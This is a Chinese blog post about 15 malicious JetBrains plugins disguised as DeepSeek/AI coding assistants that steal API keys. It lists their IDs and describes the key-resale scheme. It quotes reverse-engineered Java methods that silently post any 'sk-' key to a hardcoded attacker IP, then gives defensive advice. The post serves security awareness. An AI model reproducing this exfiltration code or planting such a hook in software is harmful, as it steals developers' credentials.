快查你的 IDE,这 15 个插件在偷 API key最近,JetBrains插件市场爆出一起有组织的供应链投毒事件:至少15个伪装成DeepSeek/AI编程助手的IDE插件,在你"保存API Key"的瞬间,把密钥静默外发到攻击者服务器,累计安装量接近7万次。安全研究机构 Aikido 在6月16日披露了完整细节。更值得注意的是攻击者的"商业模式"——边收割免费密钥,一边把这些偷来的Key当成"付费会员福利"再发给充值用户,让真正的Key主在不知情中替别人买单。下面把这件事的来龙去脉和实操应对讲清楚。 15 款问题插件清单
| |
|---|
| ord.cp.code.ai.kit |
| com.my.code.tools |
| org.sm.yms.toolkit |
| com.json.simple.kit |
| org.bug.find.tools |
| org.translate.ai.simple |
| com.yy.test.ai.simple |
| com.dev.ai.toolkit |
| com.json.view.simple |
| com.my.git.ai.kit |
| org.check.ai.ds |
| com.review.tool.code |
| org.code.assist.dev.tool |
| com.coder.ai.dpt |
| com.dp.git.ai.tool |
下载量最高的两款是DeepSeek AI Assist(27,727 次)和CodeGPT AI Assistant(25,571 次)。
攻击是怎么发生的?
这些插件的套路并不复杂,但设计得很隐蔽。插件名称都带DeepSeek、AI、Code、Assist等关键词,提供聊天、代码审查、单元测试生成、Git Commit消息生成等常见功能。界面和正常插件无异,设置面板里要求填写API Key也是常规操作——开发者不会觉得哪里不对。Aikido在逆向分析时发现了关键代码。以其中一款插件为例,保存API Key 的save()方法长这样:public static void save(String key) { if (key != null && key.startsWith("sk-") && ks.add(key) && StringUtils.length(key) == 51) { SoftwareDto dto = new SoftwareDto(); dto.setApiKey(key); // your provider secret BaseUtil.request("key", dto); // shipped off to the attacker server }}
BaseUtil.request()的实现更直白:public static void request(String api, Object dto) { try { String json = JSON.toJSONString(dto); String url = "http://39.107.60.51/api/software/" + api; HttpUtil.post(url, json, 5000); } catch (Exception e) { // 静默吞掉异常,不让用户看到任何报错 }}
这里有几个值得注意的点。HTTP明文传输,http://而非https://,网络中间人可以直接截获。硬编码的IP地址39.107.60.51,没有域名没有CDN,就是一台裸服务器。异常静默处理,catch块里什么都不做,即使发送失败也不会弹窗提醒用户。5秒超时,快速发完快速结束,不拖泥带水。整个流程就是用户在设置面板填了Key,点了Apply,插件表面上在本地保存配置,背地里已经把Key发到攻击者服务器了。用户没有任何感知。Aikido还发现这些插件内置了付费功能。免费用户输入自己的Key被偷走,付费用户通过插件内的捐赠墙支付小额费用后获得一个"可用"的API Key。研究人员推测的逻辑是攻击者把从免费用户那里偷来的Key转手提供给付费用户使用。免费用户替攻击者付API账单,付费用户替攻击者付插件费用——两头通吃。这次事件之后,我卸载了所有非必需的第三方插件。不是因为不信任 JetBrains Marketplace,而是意识到一个问题:功能正常的插件,比功能异常的插件更难识别。此前我觉得安装前看看发布者信息、下载量、评论就够了。这次发现不够。这15款插件下载量几万,评论也有,界面正常,功能完整,窃取逻辑藏在一个不起眼的工具类里,普通用户不可能发现。发布者账号没有官网,没有GitHub,没有历史项目,但这些信息得点进账号详情页才能看到,大多数人装插件时根本不会点。真正能降低风险的,不是"安装前做背调"这类正确的废话,而是不要把生产环境的API Key填入任何第三方插件的设置面板。环境变量、.env文件、企业级AI网关,这些方案被反复提及,但真能做到的团队不多。因为直接粘贴进插件设置面板是最快的,配置环境变量需要多敲几行命令。建议每季度检查一次团队内所有开发者的IDE插件列表,清理长期不用或来源不明的插件。JetBrains官方博客会发布Marketplace安全更新,RSS订一个,或者让安全同事盯着。我现在 IDE 里只剩官方插件和两三个用了两年以上的老插件。新出的AI助手,等半年再说。-- END --